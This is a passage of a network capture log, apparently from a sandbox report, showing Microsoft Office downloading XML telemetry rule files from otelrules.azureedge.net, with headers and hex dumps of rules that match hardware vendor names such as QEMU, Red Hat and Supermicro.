<R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:00 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:00 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2151d667-701e-0021-3e0f-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024100Z-178bfbc474bwh9gmhC1NYCy3rs00000006u000000000n70x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:00 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:01 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 0ecd932e-001e-0066-5d4b-3c561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024101Z-15b8b599d88tr2flhC1TEB5gk400000005e000000000a0ay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:01 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 671fd92a-701e-0097-24e1-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024101Z-178bfbc474bgvl54hC1NYCsfuw00000006ug00000000at6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:01 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024101Z-174c587ffdfp4vpjhC1TEBybqw00000005ag00000000abrc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:02 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:02 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:02 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 05eafd34-a01e-00ab-40c7-3e9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024102Z-178bfbc474bxkclvhC1NYC69g400000006r000000000ggr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:41:02 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:02 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:02 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024102Z-174c587ffdfcb7qhhC1TEB3x7000000005ag00000000kvru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:02 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:03 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024103Z-174c587ffdfn4nhwhC1TEB2nbc00000005fg0000000030st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:03 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:04 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024104Z-178bfbc474b9fdhphC1NYCac0n00000006q000000000hu75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:04 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:04 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024104Z-178bfbc474bpscmfhC1NYCfc2c00000005ag00000000npyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:04 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: ceab71a5-101e-0017-2bd0-3e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024104Z-178bfbc474bh5zbqhC1NYCkdug00000006t0000000009qfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:41:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:04 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:04 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024104Z-178bfbc474bbbqrhhC1NYCvw7400000006z000000000d3tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:05 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024106Z-178bfbc474btvfdfhC1NYCa2en0000000700000000003u3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 